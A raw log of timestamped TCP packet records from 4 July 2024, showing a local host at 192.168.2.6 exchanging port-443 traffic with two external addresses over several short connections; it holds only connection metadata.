Jul 4, 2024 20:16:31.271064997 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.272306919 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.272367954 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.272376060 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.272500992 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.272577047 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.272583961 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.317545891 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.361633062 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.361641884 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.361702919 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.361713886 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.361893892 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.361958027 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.361963987 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.362181902 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.362235069 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.362241983 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.362559080 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.362606049 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.362612963 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.362631083 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.362770081 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.362826109 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.362833977 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.363538027 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.363601923 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.363609076 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.364350080 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.364420891 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.364428043 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.364665031 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.364721060 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.364727974 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.411297083 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.455918074 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.455928087 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.456098080 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.456109047 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.456281900 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.456321955 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.456340075 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.456348896 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.456366062 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.456996918 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.457051992 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.457058907 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.457190037 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.457246065 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.457252026 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.457716942 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.457777977 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.457786083 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.458256960 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.458307028 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.458317041 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.458615065 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.458674908 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.458682060 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.459037066 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.459100962 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.459108114 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.459233046 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.459290981 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.459299088 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.459975004 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.460036039 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.460043907 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.460290909 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.460328102 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.460372925 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.460372925 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.460381031 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.460737944 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.460809946 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.460856915 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.470052958 CEST	49751	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:31.470089912 CEST	443	49751	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:31.470172882 CEST	49751	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:31.470437050 CEST	49751	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:31.470453024 CEST	443	49751	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:32.039496899 CEST	443	49751	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:32.041202068 CEST	49751	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:32.041225910 CEST	443	49751	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:32.199898005 CEST	443	49751	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:32.200325012 CEST	443	49751	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:32.200387955 CEST	49751	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:32.200437069 CEST	49751	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:32.201773882 CEST	49752	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:32.201802969 CEST	443	49752	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:32.201889038 CEST	49752	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:32.202136040 CEST	49752	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:32.202147007 CEST	443	49752	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:32.826584101 CEST	443	49752	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:32.826693058 CEST	49752	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:32.828856945 CEST	49752	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:32.828870058 CEST	443	49752	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:32.829102993 CEST	443	49752	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:32.830406904 CEST	49752	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:32.876504898 CEST	443	49752	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:33.504302025 CEST	443	49752	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:33.504400015 CEST	49752	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:33.504435062 CEST	443	49752	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:33.504503965 CEST	443	49752	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:33.504555941 CEST	49752	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:33.505182981 CEST	49752	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:33.514108896 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:33.514153004 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:33.514261007 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:33.514525890 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:33.514538050 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.129069090 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.131280899 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.131308079 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.315171003 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.315207005 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.315289974 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.315315008 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.315365076 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.316469908 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.316487074 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.316550970 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.316557884 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.319885015 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.319946051 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.319952011 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.320015907 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.406766891 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.406938076 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.406960011 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.407326937 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.407391071 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.407397032 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.408104897 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.408165932 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.408170938 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.408329964 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.408396006 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.408401012 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.458194971 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.649657965 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.649673939 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.649763107 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.649810076 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.649842024 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.649858952 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.649890900 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.650193930 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.650262117 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.650268078 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.650460005 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.650512934 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.650518894 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.650736094 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.650794983 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.650800943 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.651108980 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.651163101 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.651171923 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.651181936 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.651221991 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.651227951 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.651268005 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.654412031 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.654484034 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.654488087 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.654725075 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.654782057 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.654788017 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.655513048 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.655571938 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.655579090 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.656027079 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.656090021 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.656095982 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.656362057 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.656419992 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.656425953 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.657109022 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.657175064 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.657180071 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.657421112 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.657480955 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.657485962 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.658138990 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.658221960 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.658227921 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.658364058 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.658421040 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.658427954 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.659331083 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.659389973 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.659395933 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.659526110 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.659579992 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.659585953 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.660231113 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.660290956 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.660317898 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.660321951 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.660346985 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.660375118 CEST	443	49753	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:34.660423994 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.661026001 CEST	49753	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:34.675916910 CEST	49754	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:34.675942898 CEST	443	49754	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:34.676074982 CEST	49754	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:34.676390886 CEST	49754	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:34.676403046 CEST	443	49754	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:35.255785942 CEST	443	49754	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:35.257934093 CEST	49754	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:35.257963896 CEST	443	49754	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:35.387634039 CEST	443	49754	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:35.387712955 CEST	443	49754	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:35.387763023 CEST	49754	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:35.388276100 CEST	49754	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:35.389883041 CEST	49755	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:35.389923096 CEST	443	49755	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:35.390006065 CEST	49755	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:35.390325069 CEST	49755	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:35.390340090 CEST	443	49755	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:36.103241920 CEST	443	49755	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:36.105500937 CEST	49755	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:36.105528116 CEST	443	49755	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:37.190032005 CEST	443	49755	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:37.190118074 CEST	443	49755	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:37.190151930 CEST	49755	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:37.190217972 CEST	49755	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:37.190985918 CEST	49755	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:37.192456007 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:37.192507982 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:37.192589045 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:37.192878962 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:37.192894936 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:37.806780100 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:37.808912039 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:37.808943033 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:37.968269110 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:37.968302011 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:37.968447924 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:37.968466043 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:37.968508959 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:37.969239950 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:37.969249964 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:37.969305992 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:37.969310045 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:37.969351053 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:37.969393969 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:37.969397068 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:37.969435930 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.059097052 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.059180021 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.059195995 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.060185909 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.060247898 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.060251951 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.061091900 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.061156034 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.061160088 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.061965942 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.062028885 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.062032938 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.105566978 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.149451017 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.149468899 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.149529934 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.149542093 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.149847984 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.149902105 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.149905920 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.150579929 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.150639057 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.150643110 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.150813103 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.150870085 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.150873899 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.151742935 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.151815891 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.151823997 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.152621031 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.152681112 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.152687073 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.153469086 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.153656006 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.153661013 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.153712034 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.153764963 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.153769970 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.208182096 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.240437984 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.240449905 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.240530014 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.240540028 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.240629911 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.240668058 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.240683079 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.240688086 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.240714073 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.241022110 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.241075993 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.241081953 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.241256952 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.241317987 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.241322041 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.241636038 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.241693974 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.241698980 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.241713047 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.241765976 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.241770983 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.242264032 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.242321014 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.242326021 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.242522001 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.242577076 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.242582083 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.243127108 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.243195057 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.243200064 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.243298054 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.243354082 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.243359089 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.244040012 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.244087934 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.244107008 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.244111061 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.244151115 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.244168043 CEST	443	49756	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:38.244213104 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.244539976 CEST	49756	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:38.255072117 CEST	49758	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:38.255142927 CEST	443	49758	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:38.255233049 CEST	49758	443	192.168.2.6	13.107.42.12
